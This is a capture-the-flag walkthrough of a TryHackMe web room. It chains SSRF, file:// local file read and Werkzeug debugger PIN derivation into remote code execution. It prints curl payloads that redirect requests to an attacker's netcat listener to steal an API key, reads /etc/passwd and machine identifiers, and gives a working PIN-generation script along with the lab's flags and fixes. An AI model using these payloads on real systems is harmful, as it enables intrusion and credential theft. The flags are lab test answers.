TryHackMe Plant Photographer Walkthrough: SSRF, File Read, and Werkzeug RCE
Room Overview
Room: Plant Photographer — TryHackMe Difficulty: Medium Category: Web Exploitation / SSRF / RCE
The premise of this room is simple: you're asked to look over a personal portfolio website built by a botanist-photographer to showcase his collection of rare plant photos. He built it from scratch and wants you to check if anything could be improved. What starts as a casual code review quickly turns into a full exploitation chain — SSRF, local file read, and Remote Code Execution through the Werkzeug debugger.
Target Overview
| Property | Value |
|---|---|
| IP | MACHINE_IP |
| Web Stack | Python 3.10.7 / Flask / Werkzeug 0.16.0 |
| App Path | /usr/src/app/app.py |
| Environment | Docker container |
| Open Ports | 22 (SSH), 80 (HTTP → Werkzeug on 8087 internally) |
Step 1: Reconnaissance with Nmap
First scan to figure out what we're working with:
sudo nmap -sS -A -p- MACHINE_IP -T5 -v
What the flags mean:
| Flag | Meaning |
|---|---|
-sS | SYN stealth scan — half-open, doesn't complete TCP handshake |
-A | Aggressive mode: OS detection, version detection, scripts, traceroute |
-p- | Scan all 65535 ports |
-T5 | Fastest timing template |
-v | Verbose output |
Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http Werkzeug httpd 0.16.0 (Python 3.10.7)
22987/tcp filtered unknown
Port 80 is running Werkzeug — Flask's built-in development server. That's immediately interesting because:
- If debug mode is enabled, there's an interactive Python console at
/console - Any unhandled exception dumps full source code in the traceback
- Neither of these should ever be in production
Port 22987 is filtered (not closed, not open) — probably a firewall rule. It turned out to be a red herring.
Step 2: Source Code Review — Finding the Attack Surface
I opened the site and hit View Page Source. Two things jumped out right away.
1. The download endpoint:
<a href="/download?server=secure-file-storage.com:8087&id=75482342">Download Resume</a>
Both server and id are user-controlled parameters passed directly into an outgoing HTTP request. That's a textbook SSRF sink — I control where the server sends requests.
2. A hidden Admin Area link in the mobile sidebar:
<a href="/admin"><span style="color: goldenrod">Admin Area</span></a>
The developer styled it in gold and hid it in the sidebar, probably thinking nobody would notice. But hiding a UI element doesn't restrict the route at all. Security through obscurity isn't security.
Step 3 (Q1): Stealing the API Key via SSRF
The app constructs a URL from the server parameter like this:
{server}/public-docs-k057230990384293/{filename}
Then it fires an outgoing HTTP request using pycurl, attaching an X-API-KEY header to it. Since I control server, I can redirect that request to my own machine and read the headers.
Setting up the listener
I needed raw netcat — Python's http.server only logs status codes, not headers.
nc -lvnp 8087
Triggering the SSRF
curl "http://MACHINE_IP/download?server=YOUR_THM_IP:8087&id=1"
Note:
idhas to be a valid integer — the app runsint(file_id)before appendingid=testfirst, which threw aValueErrorand triggered the Werkzeug error page. That actually leaked aSECRETvalue from the debugger as a bonus:ChZYyuR9F0puoEksCsBR.
What netcat captured:
GET /public-docs-k057230990384293/1.pdf HTTP/1.1
Host: YOUR_IP:8087
User-Agent: PycURL/7.45.1 libcurl/7.83.1 OpenSSL/1.1.1q
Accept: */*
X-API-KEY: THM{Hello_Im_just_an_API_key}
FLAG 1: THM{Hello_Im_just_an_API_key}
The developer hardcoded the API key assuming server would always point at their trusted storage service. It doesn't have to.
Step 4 (Q2): Bypassing the Admin IP Check via SSRF
Visiting /admin directly returns:
Admin interface only available from localhost!!!
After reading app.py via the file SSRF (covered next), I could see the actual check:
@app.route('/admin')
def admin():
if request.remote_addr == '127.0.0.1':
return send_from_directory('private-docs', 'flag.pdf')
return "Admin interface only available from localhost!!!"
It's just an IP check. If I can make the server itself send a request to /admin, request.remote_addr will be 127.0.0.1 and it passes.
Finding the internal port
My first attempts with localhost:80 and localhost:5000 both failed with connection refused. I needed the actual port. Reading app.py via file SSRF showed:
app.run(host='0.0.0.0', port=8087, debug=True)
Internal port confirmed: 8087.
The ? injection trick
The URL the app builds is:
{server}/public-docs-k057230990384293/{filename}
If I set server=http://127.0.0.1:8087/admin?, the full constructed URL becomes:
http://127.0.0.1:8087/admin?/public-docs-k057230990384293/1.pdf
The ? converts everything after it into a query string. Flask's router sees a clean request to /admin originating from 127.0.0.1 — and serves the flag PDF.
curl "http://MACHINE_IP/download?server=http://127.0.0.1:8087/admin?&id=1" --output flag.pdf
xdg-open flag.pdf
FLAG 2: THM{c4n_i_haz_flagz_plz?}
Step 5 (Q3): File Read + Werkzeug PIN Crack → RCE
This phase had two parallel paths. I ran both.
Path A: Local File Read via file:// Protocol
pycurl supports the file:// protocol by default unless explicitly disabled. This means I can read any file on the server.
# Read the Flask app source
curl "http://MACHINE_IP/download?server=file:///usr/src/app/app.py&id=1"
# Read /etc/passwd — confirms the app runs as root
curl "http://MACHINE_IP/download?server=file:///etc/passwd&id=1"
# Read the MAC address
curl "http://MACHINE_IP/download?server=file:///sys/class/net/eth0/address&id=1"
# Result: 02:42:ac:14:00:02
# Read the Docker container ID from cgroup
curl "http://MACHINE_IP/download?server=file:///proc/self/cgroup&id=1"
# Result: 77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
I also ran gobuster and confirmed /console returns HTTP 200 — the Werkzeug interactive debugger is live:
gobuster dir -u http://MACHINE_IP -w /usr/share/wordlists/dirb/common.txt -x txt -t 30
Path B: Cracking the Werkzeug Debugger PIN
The /console endpoint is PIN-protected. But the PIN is deterministically generated from machine values — all of which I can now read via file SSRF.
Here's what Werkzeug uses to compute the PIN:
| Value | Where to get it | What I found |
|---|---|---|
| Username | /etc/passwd | root |
| Module name | hardcoded | flask.app |
| App class | hardcoded | Flask |
| App file path | traceback | /usr/local/lib/python3.10/site-packages/flask/app.py |
| MAC as integer | /sys/class/net/eth0/address | int('0242ac140002', 16) |
| Machine ID | /proc/self/cgroup | 77c09e05c4a9... (Docker container ID) |
PIN generator script:
import hashlib
probably_public_bits = [
'root',
'flask.app',
'Flask',
'/usr/local/lib/python3.10/site-packages/flask/app.py'
]
private_bits = [
str(int('0242ac140002', 16)), # MAC address as decimal integer
'77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca'
]
h = hashlib.md5()
for bit in probably_public_bits + private_bits:
h.update(bit.encode('utf-8'))
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
pin = '-'.join([num[:3], num[3:6], num[6:]])
print(f'PIN: {pin}')
python3 pin.py
# PIN: 110-688-511
Getting RCE through the console
Navigate to http://MACHINE_IP/console in the browser, enter 110-688-511, and the console unlocks.
import os
os.listdir('/usr/src/app')
# Output: ['requirements.txt', 'Dockerfile', 'templates', 'public-docs',
# 'private-docs', 'static', 'app.py', 'flag-982374827648721338.txt']
open('/usr/src/app/flag-982374827648721338.txt').read()
FLAG 3: THM{SSRF2RCE_2_1337_4_M3}
The filename — SSRF2RCE — tells the whole story.
Vulnerability Summary
1. SSRF via Unvalidated server Parameter
The server parameter is passed directly to pycurl with zero validation. An attacker can redirect it to internal services, their own server to steal headers, or use file:// to read local files.
Fix: Validate server against an allowlist. Restrict pycurl to HTTP/HTTPS only:
crl.setopt(crl.PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)
crl.setopt(crl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)
2. API Key Hardcoded in Source
The X-API-KEY value is literally written in app.py. Combined with SSRF, it's trivially exfiltrated.
Fix: Store secrets in environment variables. Never hardcode credentials.
3. Werkzeug Debug Mode in Production
app.run(debug=True) exposes a full Python console and stack traces with source code on any error. This is RCE waiting to happen.
Fix: Set debug=False in production. Use gunicorn or uWSGI instead of Flask's built-in server.
4. Admin Route Protected Only by IP Check
if request.remote_addr == '127.0.0.1':
Trivially bypassed via SSRF. There's no real authentication.
Fix: Use session-based authentication with a proper login/password flow.
5. file:// Protocol Not Disabled in pycurl
pycurl supports file://, ftp://, dict://, and more by default. Without explicit restriction, it reads arbitrary local files.
Fix: Explicitly limit protocols (see fix for vuln 1).
Attack Chain Summary
Recon (nmap)
└─ Port 80: Werkzeug/Flask detected (debug mode suspected)
Source Review
├─ /download endpoint: user-controlled server param → SSRF sink
└─ /admin endpoint: localhost-only IP check
SSRF #1 — Header Interception
└─ /download?server=OUR_IP:8087&id=1
└─ Captured X-API-KEY in outbound pycurl request → FLAG 1 ✓
Error Trigger (id=test)
└─ ValueError → Werkzeug debugger exposed → SECRET leaked in JS
SSRF #2 — Local File Read (file://)
├─ Read app.py → internal port 8087 confirmed
├─ Read /etc/passwd → running as root
└─ Read MAC address + Docker container ID
SSRF #3 — Localhost Bypass (?-injection)
└─ /download?server=http://127.0.0.1:8087/admin?&id=1
└─ Server requests own /admin as 127.0.0.1 → flag.pdf served → FLAG 2 ✓
Werkzeug PIN Crack
└─ PIN 110-688-511 computed from gathered machine values
└─ /console unlocked → os.listdir → flag file found → FLAG 3 ✓
Flags
| Question | Flag |
|---|---|
| API key used to retrieve files from the secure storage service | THM{Hello_Im_just_an_API_key} |
| Flag in the admin section of the website | THM{c4n_i_haz_flagz_plz?} |
| Flag stored in a text file in the server's web directory | THM{SSRF2RCE_2_1337_4_M3} |
One unvalidated parameter. Full server compromise. This room is a clean demonstration of how SSRF chains into LFI and then RCE when the underlying tooling isn't locked down.